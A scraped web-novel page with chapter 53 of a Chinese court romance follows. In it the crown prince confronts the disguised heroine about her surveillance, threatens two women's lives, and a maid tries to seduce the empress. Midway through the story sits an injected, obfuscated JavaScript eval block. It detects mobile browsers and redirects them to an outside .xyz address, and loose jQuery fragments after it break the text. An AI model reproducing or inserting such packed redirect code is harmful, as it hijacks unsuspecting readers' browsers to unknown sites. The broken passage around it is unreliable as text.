默认冷灰
24号文字
方正启体

53. 甩不掉监视

作者:南枝焰本书字数:K更新时间:
    上林苑


    折桂园席间,元青争的位置比较靠后,盛舒宇坐她旁边,皇帝坐上首尊位,太子坐大堂左首,另一边的对应首位是江相。


    大厅中央,江辙在向皇帝阿谀奉承:“陛下,今年围场休养的极好,围应府风调雨顺,臣以为都是陛下治理得当,大梁一定能更加繁荣!”


    皇帝听得很满意,因为江相不可能这么对他,可是江家儿郎得这么对他:“开席吧。”


    歌舞酒菜俱出,这筵席就算开场了,元青争膳桌上摆着几道菜,她无趣的吃着,觉得味道也就一般。


    可每逢宴席,菜品都是一道一道上的,她这会儿的膳桌,却同时上了两道,多出来的那道,是六个小小菜团,盛在精致的小玉盘里。


    元青争定眼觉得新奇,往盛舒宇的方向张望一眼,发现他并没有这道菜。


    单我一人有?


    虽然小菜团碧绿诱人,但她不敢吃。


    因为她在上林苑没并没有熟识的人,谁会给她加这么一道菜?


    等到传菜宫女再上来,元青争惊诧:“榆钱?”


    榆钱差事在身,给她上过菜后微笑离开,元青争才对这个小菜团放了心,捏起筷子。


    入口,咸香爆汁,没忍住一扫而光。


    而后面元青争的菜,全都是榆钱上的,也真难为榆钱精心算好位置,每次都可以到她的这张膳桌来。


    宴席进行到一半,元青争已吃了个十成饱,她想要去谢谢这菜团之谊,遂起身离席去寻榆钱。


    官员仆从们都被安排在另一间屋中进餐,元青争没去叫落籽,七拐八拐的终于找到上林苑的司膳坊:“榆钱姑娘,原来你也来上林苑了。”


    榆钱尚还在默默数位置,恍然听得这一声,险些以为听错了:“榆钱参见小侯爷。”


    元青争自认为与她相熟,抬手指了个方向示意借一步:“榆钱可是春天才能有的,那菜团子是怎么回事?”


    榆钱面颊有些红:“我午膳后出去了一趟,去问外面的人,家里有没有腌制好的榆钱有剩,买了些回来,又怕整个菜团都用这不对季节的东西会太咸,所以又加了一些别的菜叶。”


    “所以那几个温软爆汁小菜团是你做的?里面竟还是两种菜,我都没有吃出来。”


    榆钱点了点头。


    元青争致谢:“榆钱姑娘心灵手巧,那菜团做的颇合我胃口,此番特地来向榆钱姑娘道谢,请姑娘受我一揖。”


    榆钱的脸已然红透,但她隐在暗影之中,元青争没有发现:“小侯爷不必如此,我,我自己愿意这样做的,没什么事的话,我先回去当差了,小侯爷再见。”


    元青争没让她走,展臂拦住她的去路,装得开朗:“榆钱姑娘,我已行过冠礼,表字怀媚,胸怀的怀,明媚的媚,你以后不要叫我小侯爷了,私下叫我怀媚吧。”


    若宫里能有个自己人,以后说不定可以用得上,这榆钱脑筋转得快,是个好人选。


    榆钱低着头:“这怎么好?您行过冠礼,再等行过承爵仪式就是侯爷了,我一个宫女,怎么敢喊您的表字?”


    元青争以退为进:“原是我自作多情了,我私以为经历宫中一事,你我也当是朋友才对,可你却连我表字都不愿叫上一叫。


    既如此,姑娘到农户那里买腌榆钱花了多少银子,我给你吧,毕竟无功不受禄,也不是好朋友。”


    榆钱低眉一笑:“怀媚郎君不用激我,您只要不在意,我喊就是了。”


    “哈哈,既然你都喊我怀媚了,那证明你我乃平辈相交,”元青争从怀里摸出一块碎银,塞入榆钱掌心,“这一小锭银子,就算我买了你的菜团,不可以不收,不收的话,我就再也不当你是我朋友了。”


    “……怀媚郎君,您可真是个好人。”


    “我非常愿意在你面前做好人。”元青争很受用,“好了,你回去吧,记得以后私下喊我怀媚。”


    榆钱“嗯”一声,垂首快步走回司膳坊。


    元青争晒着牙,也转身欲往回走,可还没行几步,便发现前面转角处有半个人影。


    她心下一沉,准备换条路。


    “元怀媚!”


    是太子的声音。


    这下不能装没看见了。


    元青争避他不及,举好官礼:“微臣参见太子殿下,不知殿下离席至此,所为何来?”


    太子也觉得自己这行为不太合适,但他忍不住。


    咬紧后槽牙,他拉上元青争的手,轻车熟路的将人拐进一处小屋,关上门后恶狠狠的问:“元怀媚,你知不知道你是谁的人?!你怎么敢到处拈花惹草?”


    元青争觉得无妄之灾,几根手骨隐隐作痛:“殿下吃酒吃糊涂了吧?臣怎么拈花惹草了?”


    太子面色不虞,语气十分不善:“都舞到孤面前了你还能继续装?元怀媚,你到底喜欢男人还是喜欢女人?!又把孤当成了什么?!”


    “你……”元青争险些闪了舌头,有些无语,“殿下,您无非就是从小想象我不恭顺,从而想让我在您手底下乖乖做事而已,这完全不是喜欢。


    臣也早就表过忠心,愿以微鄙之力为君效忠,所以臣把殿下当作以后的君,愿拼这一身血肉,助您启盛世,臣说的够明白吗?”


    太子情绪平复些许:“孤是你的君,你当然要对孤效忠,但同时你也得爱慕孤、顺从孤,不得到处招惹花花草草。”


    “……”元青争控制着自己不扇他一巴掌,“殿下,爱慕不是要求来的,爱慕是自发的,这道理很浅显吧?再说臣受诸君抬举,称一声小侯爷,就算有些花花草草,也不为过吧?”


    一招摆事实,讲道理,太子听罢气急,两手握上她的双肩,低吼:“可你是女子!你要什么花花草草?!你告诉孤,你到底喜不喜欢女人?”


    “殿下先放开臣。”


    “孤不放!元怀媚,你喜不喜欢女人?如果你敢喜欢女人,孤马上就让那个宫女再也回不到皇城!”


    这话说的很浅,太子要杀了她。


    元青争立刻顺毛:“不喜欢!”


    太子闻言缓了几息,又盯着她,带着些癫狂,柔声道:“怀媚,跟那个衣铺掌柜也断了,好不好?”


    “殿下派人监视我?!”元青争震惊之余,觉得毛骨悚然。


    “你以后会是孤的人,你的一切孤都有权利知道。怀媚,跟她断了,好不好?”


    “如果臣说不呢?”


    “那她也得死。”太子眸色深幽。


    “…………她是臣明面上的通房,用来掩人耳目的,臣跟她,没有什么不容于世的私情。”


    “好,好,那就好,孤相信你。”太子紧紧抱住她。


    不能被监视!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860205|175978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    元青争抗争:“殿下,跟着臣的人可以撤掉吗?这些日子跟的也差不多了吧?该知道的想必都已经知道了。”


    太子又紧了紧手臂,力道仿佛要将她分成两半:“远远不够,怀媚,你要是一直乖乖的,孤也就不会这么做了,孤真怕哪天一个不留神,你就爱上了别人。”


    元青争无语,她早就爱上别人了:“殿下不就是怕臣在您这里女身败露,生出投靠江相之心嘛,臣不会如此做的,殿下也不用说得这么冠冕堂皇。”


    太子噙笑,埋首去吻她的耳后发际:“怀媚,这的确也是孤的目的,但说出来就没意思了,跟着你的人叫钱良,他不会跟很紧,孤不会撤。”


    ……


    晚间夜空繁星点点,元青争躺在榻上,脑中不停复盘,是什么时候开始有人监视着自己的?自己怎么半点都没察觉?


    突然,她坐了起来,两手将被面攥得皱皱巴巴,低声暗骂:“狗东西……”


    就算太子派人来监视我,也不可能知道我与妙龄的具体相处究竟何如,所以他那话是在诈我。


    如果他当时问我跟妙龄断了好不好,我回答了好,他就会确定我与妙龄有染,然后杀了妙龄!


    若我回答了不好,无疑也是在摸老虎屁股,他就会认为我爱妙龄爱到无可自拔,有不可与外人道的私情,然后杀了妙龄!


    而当时的回答完美规避了是与否的答案,所以太子现在还当我从未经过人事!


    怪不得那日他没有碰我。


    呵……真正派啊……


    平京皇城凤阳宫


    皇后寝殿里,一姿容上等的宫女端着套衣物,缓步走进里间:“娘娘,换上衣服吧,眼看太阳偏西了。”


    “本宫的头发尚未干,你且放一放。”皇后刚沐浴完,身上只穿了件松松垮垮的长袍,此刻正侧躺在矮榻上闭目熏香。


    小宫女将东西放下了,人却没出去,她轻手轻脚的跪在矮榻边,伸手给皇后按起腿来:“娘娘,您真美。”


    皇后缓缓睁开眼睛:“竹筠……?”


    竹筠没有应声,半晌,逐渐从小腿按到了大腿:“娘娘平躺吧,奴婢好好给您按按。”


    “不用了。”皇后没有答应,“过来熏发吧。”


    竹筠应是,起身拿起一个球状掐丝鎏金熏笼,上面是檀木挂柄,下面坠着金流苏。


    她脱鞋上榻,绕到皇后背面:“熏一熏干得快,一会儿奴婢给您换上新衣。”


    “不用你。”皇后淡淡回她一句,再度阖眸,可身上的感受却逐渐变得更加清晰。


    良久。


    竹筠闻着皇后的发已布满馨香,便借着拨动发丝之势,将手频频划过皇后腰侧。


    皇后没吭声。


    她缓缓将一只手轻轻绕到皇后身前,倾身:“娘娘,秋狩短则半月,长则一月,没有比这更好的机会了,娘娘,试试吧,奴婢保证让娘娘快活。”


    皇后推开她,下榻:“给本宫更衣吧。”


    竹筠失落地将熏笼放下,只穿了袜子下地,轻柔褪去皇后的浴袍,又把带进来的衣服一层一层的套在皇后身上。


    “你怎么把送衣服这差事抢来的?”皇后穿好衣服,又恢复了往日的严肃。


    竹筠跪下去:“奴婢把下个月的月例银子,给出去了一半。”


    皇后眉头轻蹙:“熏笼赏你了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)